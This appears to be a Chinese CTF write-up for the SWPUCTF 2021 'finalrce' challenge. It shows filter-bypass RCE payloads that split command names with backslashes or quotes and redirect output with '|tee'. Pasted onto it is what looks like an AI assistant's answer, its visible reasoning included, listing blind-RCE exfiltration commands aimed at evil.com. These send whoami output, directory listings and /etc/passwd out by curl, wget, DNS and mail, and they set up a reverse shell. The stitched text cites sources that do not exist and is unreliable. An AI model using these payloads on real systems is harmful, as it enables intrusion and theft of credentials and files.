[SWPUCTF 2021 新生赛]finalrce(管道符(|)+tee绕过exec无回显 反斜杠或者单(双)引号绕过正则表达式)

 首先看源码

第一点,我们需要绕过正则表达式

第二点,由于exec不返回命令执行结果,所以要进行输出重定向

由于正则表达式过滤掉了很多命令,但是注意看,反斜杠和单引号都没有被注释掉,那么我们就可以利用这一点来绕过被禁止掉的命令

构造payload:url=l\s /|tee 1.txt;

                        url=l's' /|tee 2.txt;

                      

第二种payload

这里需要说明一下

所以这里的|tee就是将ls出的内容重定向到txt文本中

得到敏感文件,再进行内容读取,由于cat和la同样被禁用,还是相同的方法

构造payload

?url=ca\t%20/flllll\aaaaaaggggggg|tee%201.txt;

?url=c\at%20/flllll\aaaaaaggggggg|tee%203.txt;

?url=c'a't%20/flllll'a'aaaaaggggggg|tee%204.txt;

随便选择一种都可以

总结:当正则表达式没有过滤掉反斜杠或者单引号或者双引号(本题双引号被过滤,不再演示),那么可以使用单引号或者双引号包裹命令(ls cat等)任意一个字符,只要他们不是一个整体就行,或者使用反斜杠插入到命令里面(ca\t  c\at等)即可实现绕过。

<think>好的,用户需要了解RCE无回显情况下的绕过技巧和实现方式。首先,我得回忆一下常见的无回显RCE利用方法。通常,当命令执行没有直接输出时,可以通过外带数据或者利用其他协议进行检测。 第一步,可能需要提到DNS外带。比如使用curl或nslookup将数据通过DNS查询发送到攻击者控制的服务器。这种方法常用于检测是否存在漏洞,因为很多环境允许DNS流量[^1]。 接下来,考虑HTTP请求外带。即使命令执行没有回显,也可以通过wget或curl触发HTTP请求到攻击者的服务器,从而确认漏洞存在。例如,执行命令访问特定URL,然后在服务器日志查看请求记录[^2]。 然后是时间延迟技术。通过执行sleep等命令,观察响应时间的变化来判断命令是否执行。比如,注入sleep 5,如果响应延迟了5秒,说明可能成功执行。 另外,还可以利用写入文件再读取的方法。比如将命令结果输出到web目录下的文件,然后通过访问该文件获取结果。不过这种方法需要web服务器有写权限,并且知道文件路径。 还有可能需要考虑其他协议如ICMP或者SMTP来外传数据。比如使用ping命令携带数据,但这种方法传输的数据量有限,且可能被防火墙拦截。 用户可能需要具体的实现示例,比如如何构造DNS外带的payload,或者如何利用Burp Collaborator进行检测。需要确保提到的技巧都有实际应用场景,并且引用相关资源。 最后,生成相关问题时要覆盖检测方法、工具使用、协议利用和防御措施等方面,帮助用户全面了解。</think>### RCE无回显绕过技巧及实现方式 在远程代码执行(RCE)漏洞利用中,无回显场景需要通过间接方式确认命令执行结果,主要技术手段包括: #### 一、外带数据检测法 1. **DNS外带** 通过构造DNS查询请求将数据发送至攻击者控制的DNS服务器: ```bash curl http://evil.com/$(whoami).example.com nslookup $(id | base64).evil.com ``` 使用Burp Collaborator或Interactsh工具可自动捕获DNS查询记录[^3]。 2. **HTTP请求外带** 利用wget/curl触发HTTP请求: ```bash wget http://evil.com/?data=$(ls / | base64) ``` 通过HTTP请求头、URL参数或POST请求体传递数据,可使用OOB-Server实时接收数据。 #### 二、间接验证法 1. **时间盲注** 通过响应延迟判断命令执行结果: ```bash ping -c 5 127.0.0.1 && sleep 10 # 存在条件判断时使用 ``` 若目标系统支持管道,可构造: ```bash cat /etc/passwd | base64 | curl -X POST --data-binary @- http://evil.com ``` 2. **文件写入+访问** 将执行结果写入Web目录: ```bash id > /var/www/html/result.txt ``` 通过浏览器访问`http://target.com/result.txt`读取结果(需已知Web路径和写权限)。 #### 三、特殊协议利用 1. **ICMP外带数据** 使用ping命令携带Base64编码数据(需自定义编码脚本): ```bash ping -p $(echo 'data' | xxd -p) evil.com ``` 2. **SMTP邮件发送** 通过mailutils发送命令结果: ```bash echo "结果" | mail -s "RCE数据" attacker@evil.com ``` #### 四、工具化实现 - **Curl加密传输** ```bash curl --data "$(ls -al | openssl aes-256-cbc -pass pass:key)" https://evil.com ``` - **Metasploit模块** 使用`exploit/multi/handler`配合`cmd/unix/reverse_bash`实现反向Shell[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值